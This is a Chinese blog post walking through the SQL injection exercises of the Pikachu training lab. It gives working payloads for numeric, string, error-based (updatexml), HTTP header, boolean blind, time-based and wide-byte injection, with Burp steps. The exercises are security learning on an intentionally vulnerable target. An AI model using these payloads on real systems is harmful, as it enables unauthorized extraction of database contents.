Pikachu-SQL-Inject

数字型注入(post)

首先选择一个提交看看效果,并且抓包分析查看用什么方式进行提交

通过burp很清晰看出使用的是post提交,我们发送到repeater

尝试寻找注入

使用 1 or 1=1 看到返回了所有用户

接下来就可以使用order by进行查找,通过查找有2列

那么就配合union进行查询

得到数据库名,后续就简单了,不做演示

字符型注入(get)

我们输入1 提交,使用hackbar进行注入比较方便

尝试语句:1 or 1=1 发现还是没效果,那么尝试加上单引号:1' or 1=1,此时发现报了sql语句错误,加上注释就得到了所有用户,说明使用的是单引号进行闭合

payload:1' or 1=1 -- -

获取数据库

payload:-1' union select database(),2 -- -

搜索型注入

可以看到这题的payload和上一题一样

通过order by知道有3列,使用union获得数据库名

payload:1' union select database(),2,3 -- -

xx型注入

通过payload尝试,发现是')闭合方式

payload:1') or 1=1 -- -

payload:1') union select database(),2 -- -

insert/update注入

点击注册页面,分析大概sql语句写法构造payload

分析:
自己平时写新增的sql语句大概样子
insert into 表名(字段1,字段2,字段3) values('值1','值2','值3')

将这个sql语句报错
insert into 表名(字段1,字段2,字段3) values('值1''**or updatexml(1, concat(0x7e, database(), 0x7e), 1) or'**,'值2','值3')

payload:'and updatexml(1, concat(0x7e, database(), 0x7e), 1) and'

登录进去点击修改信息,这是是更新的sql注入

使用的payload与上面一样

delete注入

输入一些内容点击提交,然后删除留言,使用burp进行抓取,抓取到的数据包发送到repeater

看到get请求删除,我们在这里进行注入

payload:or updatexml(1, concat(0x7e, database(), 0x7e), 1)

中间有的空格需要用+连接

http header注入

通过提示,登录账号

可以看到这里有两个头,我们使用burp抓包进行修改,不管修改的是User-Agent还是Accept都可以

payload:1 'or updatexml(1, concat(0x7e, database(), 0x7e), 1) or'

布尔盲注

输入已知的用户名,尝试闭合

payload:lucy' and 1=1 -- -

当payload:lucy' and 1=2 发现报错,说明可以进行盲注

尝试出数据库长度

payload:lucy' and length(database())=7 -- -

时间盲注

输入正确用户名以及闭合的提示都是只有一个,那么我们试试时间盲注

payload:lucy' and sleep(3) -- -

发现浏览器加载3s后才成功跳转,说明这里是时间盲注

判断数据库长度

payload:lucy' and if(length(database())=7,sleep(3),1) -- -

盲注可以使用sqlmap或者自己写一些脚本工具减少自己的工作量

宽字节注入

输入lucy进行抓包

进行宽字节注入

payload:lucy%df'+or+1=1--+

posted @ 2022-11-14 22:04  诗酒于人  阅读(28)  评论(0)    收藏  举报